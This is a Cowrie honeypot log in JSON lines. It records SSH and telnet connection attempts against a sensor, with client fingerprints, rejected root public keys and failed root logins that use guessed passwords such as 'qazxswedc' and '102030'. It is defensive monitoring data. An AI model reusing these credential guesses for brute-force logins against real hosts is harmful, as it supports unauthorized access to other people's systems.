{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9e:f3:a3:5b:7d:b2:38:a2:b0:0a:b0:54:fb:17:cf:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkOU+vFaQB3h+YoTW2v4EBjdOlLNSvLOKliv4zX03LfbSRH/BDz7AcG6cbzKVaBVgGAFd+TIKk5NvjG41rJEZlhAK0Lu+bCSUzbp0ioOlxpPPXY79LS9swKqiKcNzfDf3cLc3XVPGCMNsHw8+DhOz2Afd3hJvluPyiZuCWCWdMnajeHzUd/rEM2zpr361T+bjDSKrRgi38buS6iCKYJj9TaNmogamljbz21vokFdgTqWHPX549QBN1VzrhRiQT5A9an22JXCkh9btLehs4cE7UPgiR4skKd96iYd3SB67lymxWWigo/yGZMXcOkeRSsO51EbyXRYivhE2bjD7Gtp/Z","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9e:f3:a3:5b:7d:b2:38:a2:b0:0a:b0:54:fb:17:cf:96","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.047605Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9e:f3:a3:5b:7d:b2:38:a2:b0:0a:b0:54:fb:17:cf:96","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkOU+vFaQB3h+YoTW2v4EBjdOlLNSvLOKliv4zX03LfbSRH/BDz7AcG6cbzKVaBVgGAFd+TIKk5NvjG41rJEZlhAK0Lu+bCSUzbp0ioOlxpPPXY79LS9swKqiKcNzfDf3cLc3XVPGCMNsHw8+DhOz2Afd3hJvluPyiZuCWCWdMnajeHzUd/rEM2zpr361T+bjDSKrRgi38buS6iCKYJj9TaNmogamljbz21vokFdgTqWHPX549QBN1VzrhRiQT5A9an22JXCkh9btLehs4cE7UPgiR4skKd96iYd3SB67lymxWWigo/yGZMXcOkeRSsO51EbyXRYivhE2bjD7Gtp/Z","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.054158Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9f:28:dd:ef:f3:63:1f:04:4a:26:87:18:1b:ec:23:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqupPIc6g9Ixud7whA2GgqLysDE4kWOxLb7H7UO/pb725f5EUg+kLNR52u/rdwcFgaoN61oHsMOpGMY9EMcvxe+RLJdzEnNaLmC38ho6s31e1DDrbA+C9U98kcEC/evAhXynAB9MWNeGpeJHe8JvQHY44I8udiRx5ngggBvfJ29xIxCz7R6GG7I0+GA4iudETwWaK1GGUSubro71JAA7ZW3L873eCYfbCdn/0FlKRklbtbvJpiwwYl2MAXE+JYqBVr+mqsBHgaDMsOZT+JMDxGvKiFcTqN+dT5JSTiFbWeYuKJWIvlTkZsAMGI8dIcy/z4NbjrhamLSM2mYMQK2yjydoX8yIEGSn+2kOz/xSGlFl7cAyDQEhU7/kFw1QBVzd7SRk8t7UlUMLqxZ1pV7X3LL9/WI2Irdk87hQWaa5pe1Qc/5wqK/VZH+QAzjzQ/bMiHyJJqn0v8L5ZiGGcbygCYAxm4VnNOb/ZFe+SitVIu44OQaDZOUELQYUJFV/OA4YFalJsFCx08+5eJTTAgY2zFnQDi7oqOesjltt4prhzvjQJn7k/e3FXKld6VcWXaukdJ4eEaA6CaNj9rbz4piKxOQk5BUeljWX/F8vuKarYQBrB2kNHD6p5CK3QVyU3tpa4Xdo7qZfSnLM2t3dr48cQf7QAp3ahlf97RSeDztzU9L0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9f:28:dd:ef:f3:63:1f:04:4a:26:87:18:1b:ec:23:e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.104320Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9f:28:dd:ef:f3:63:1f:04:4a:26:87:18:1b:ec:23:e6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAqupPIc6g9Ixud7whA2GgqLysDE4kWOxLb7H7UO/pb725f5EUg+kLNR52u/rdwcFgaoN61oHsMOpGMY9EMcvxe+RLJdzEnNaLmC38ho6s31e1DDrbA+C9U98kcEC/evAhXynAB9MWNeGpeJHe8JvQHY44I8udiRx5ngggBvfJ29xIxCz7R6GG7I0+GA4iudETwWaK1GGUSubro71JAA7ZW3L873eCYfbCdn/0FlKRklbtbvJpiwwYl2MAXE+JYqBVr+mqsBHgaDMsOZT+JMDxGvKiFcTqN+dT5JSTiFbWeYuKJWIvlTkZsAMGI8dIcy/z4NbjrhamLSM2mYMQK2yjydoX8yIEGSn+2kOz/xSGlFl7cAyDQEhU7/kFw1QBVzd7SRk8t7UlUMLqxZ1pV7X3LL9/WI2Irdk87hQWaa5pe1Qc/5wqK/VZH+QAzjzQ/bMiHyJJqn0v8L5ZiGGcbygCYAxm4VnNOb/ZFe+SitVIu44OQaDZOUELQYUJFV/OA4YFalJsFCx08+5eJTTAgY2zFnQDi7oqOesjltt4prhzvjQJn7k/e3FXKld6VcWXaukdJ4eEaA6CaNj9rbz4piKxOQk5BUeljWX/F8vuKarYQBrB2kNHD6p5CK3QVyU3tpa4Xdo7qZfSnLM2t3dr48cQf7QAp3ahlf97RSeDztzU9L0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.109894Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:6f:46:bf:40:69:35:90:97:87:96:08:4b:1f:93:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCva/pWlo8wS5/YdOs/HHV4RFL1cZp+6mEwfFgh2vN6h4zDVdlL04da5ax71e+0nnsoh2F/TT9sbg4eMACpqJCrGGZ12iWhU8JhFMrnr+9jfgHSdxsZ4cUsM8clGYrhViEsNXsEW2YTZD/Byb+V8FO5f4nuPoZ3NsYNsflBoke63lCEtNOVK20IZlm3hevfVsSF8NP8mdNZhBq9ZYZbMBa63cc3GKmncE8V0SVZVgjeTTkHIfjedMBMeWZxRdCtQ0ZZug638fcqNDkHFbnII++kzSxWSpgVDVuZas9FlYw9B0PqJqG0Y1+2SB/Ilf+hDAJzU1AQ0ySA6/Ek+bH1M1PLKWH+owud6Ve0umQm3S/9b4meA8ID9iAsSn675b6tAkq5P1DSXBXColYt50syQF+kRmFdJmbnZPBCs2hmuayZK3S31jxLDJgBtnM+DSjaUiKZszJNsaHYkYEXHZFldRNAYL0hkPYZzeGBcAABjcyU4S444i3ehbqhe30XolLJsMkrT6FxkAALpJ/wODPx6KRRUXTroaVVLx6gM3aT+cDbu/zrQATdFEM1CLEnawkzydhbxI7v++gBeopqG+dHcKahBBsiZCG2RiM8hR5wc57zDbdsy6g3S2OKjyaaJcZ7sywMlGMVmMMQNTwoK6tF72m5qCYv5bWsXDS69F4L0q26kw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:6f:46:bf:40:69:35:90:97:87:96:08:4b:1f:93:c9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.172385Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:6f:46:bf:40:69:35:90:97:87:96:08:4b:1f:93:c9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCva/pWlo8wS5/YdOs/HHV4RFL1cZp+6mEwfFgh2vN6h4zDVdlL04da5ax71e+0nnsoh2F/TT9sbg4eMACpqJCrGGZ12iWhU8JhFMrnr+9jfgHSdxsZ4cUsM8clGYrhViEsNXsEW2YTZD/Byb+V8FO5f4nuPoZ3NsYNsflBoke63lCEtNOVK20IZlm3hevfVsSF8NP8mdNZhBq9ZYZbMBa63cc3GKmncE8V0SVZVgjeTTkHIfjedMBMeWZxRdCtQ0ZZug638fcqNDkHFbnII++kzSxWSpgVDVuZas9FlYw9B0PqJqG0Y1+2SB/Ilf+hDAJzU1AQ0ySA6/Ek+bH1M1PLKWH+owud6Ve0umQm3S/9b4meA8ID9iAsSn675b6tAkq5P1DSXBXColYt50syQF+kRmFdJmbnZPBCs2hmuayZK3S31jxLDJgBtnM+DSjaUiKZszJNsaHYkYEXHZFldRNAYL0hkPYZzeGBcAABjcyU4S444i3ehbqhe30XolLJsMkrT6FxkAALpJ/wODPx6KRRUXTroaVVLx6gM3aT+cDbu/zrQATdFEM1CLEnawkzydhbxI7v++gBeopqG+dHcKahBBsiZCG2RiM8hR5wc57zDbdsy6g3S2OKjyaaJcZ7sywMlGMVmMMQNTwoK6tF72m5qCYv5bWsXDS69F4L0q26kw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.182250Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:05.236437Z","src_ip":"50.6.197.105","session":"1c72d54bb359","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":11.395358562469482,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:08.482537Z","src_ip":"152.42.224.71","session":"482a19fe3ca6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":42448,"dst_ip":"10.17.0.5","dst_port":22,"session":"b4ae3b5ba9e3","protocol":"ssh","message":"New connection: 45.137.172.116:42448 (10.17.0.5:22) [session: b4ae3b5ba9e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:09.808269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:09.813465Z","src_ip":"45.137.172.116","session":"b4ae3b5ba9e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:09.915025Z","src_ip":"45.137.172.116","session":"b4ae3b5ba9e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootbridge","message":"login attempt [root/rootbridge] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:10.349418Z","src_ip":"45.137.172.116","session":"b4ae3b5ba9e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:11.453752Z","src_ip":"45.137.172.116","session":"b4ae3b5ba9e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.70.247","src_port":51816,"dst_ip":"10.17.0.5","dst_port":22,"session":"fd915e833944","protocol":"ssh","message":"New connection: 43.153.70.247:51816 (10.17.0.5:22) [session: fd915e833944]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:26.182567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:26.191735Z","src_ip":"43.153.70.247","session":"fd915e833944","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53578,"dst_ip":"10.17.0.5","dst_port":23,"session":"dfb6df7680ac","protocol":"telnet","message":"New connection: 152.42.224.71:53578 (10.17.0.5:23) [session: dfb6df7680ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:26.258962Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:26.273607Z","src_ip":"43.153.70.247","session":"fd915e833944","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"blahblah","message":"login attempt [root/blahblah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:26.597770Z","src_ip":"43.153.70.247","session":"fd915e833944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:27.673654Z","src_ip":"43.153.70.247","session":"fd915e833944","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.10325527191162,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:36.647272Z","src_ip":"152.42.224.71","session":"454291dbaf0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.84.253","src_port":45850,"dst_ip":"159.203.135.109","dst_port":22,"session":"f287bd16c4ed","protocol":"ssh","message":"New connection: 43.173.84.253:45850 (159.203.135.109:22) [session: f287bd16c4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:42.701131Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:42.705465Z","src_ip":"43.173.84.253","session":"f287bd16c4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:42.773570Z","src_ip":"43.173.84.253","session":"f287bd16c4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"102030","message":"login attempt [root/102030] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:43.079606Z","src_ip":"43.173.84.253","session":"f287bd16c4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:44.151197Z","src_ip":"43.173.84.253","session":"f287bd16c4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.177.217","src_port":48488,"dst_ip":"10.17.0.5","dst_port":22,"session":"8ef9497a2537","protocol":"ssh","message":"New connection: 43.135.177.217:48488 (10.17.0.5:22) [session: 8ef9497a2537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:46.469213Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:46.474134Z","src_ip":"43.135.177.217","session":"8ef9497a2537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:46.542846Z","src_ip":"43.135.177.217","session":"8ef9497a2537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maustin","message":"login attempt [root/maustin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:46.848402Z","src_ip":"43.135.177.217","session":"8ef9497a2537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:47.921405Z","src_ip":"43.135.177.217","session":"8ef9497a2537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52738,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a336c776b37","protocol":"telnet","message":"New connection: 152.42.224.71:52738 (10.17.0.5:23) [session: 9a336c776b37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:50:48.511810Z"}
{"eventid":"cowrie.session.closed","duration":37.357072591781616,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:03.615915Z","src_ip":"152.42.224.71","session":"dfb6df7680ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62817,"dst_ip":"159.203.135.109","dst_port":22,"session":"2429ec21301c","protocol":"ssh","message":"New connection: 152.42.212.128:62817 (159.203.135.109:22) [session: 2429ec21301c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:11.559739Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:11.564559Z","src_ip":"152.42.212.128","session":"2429ec21301c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:11.568605Z","src_ip":"152.42.212.128","session":"2429ec21301c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.137.172.116","src_port":47384,"dst_ip":"10.17.0.5","dst_port":22,"session":"249ac3dcedf4","protocol":"ssh","message":"New connection: 45.137.172.116:47384 (10.17.0.5:22) [session: 249ac3dcedf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:26.732062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:26.737656Z","src_ip":"45.137.172.116","session":"249ac3dcedf4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:26.838890Z","src_ip":"45.137.172.116","session":"249ac3dcedf4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswedc","message":"login attempt [root/qazxswedc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T17:51:27.275934Z","src_ip":"45.137.172.116","session":"249ac3dcedf4","protocol":"ssh"}
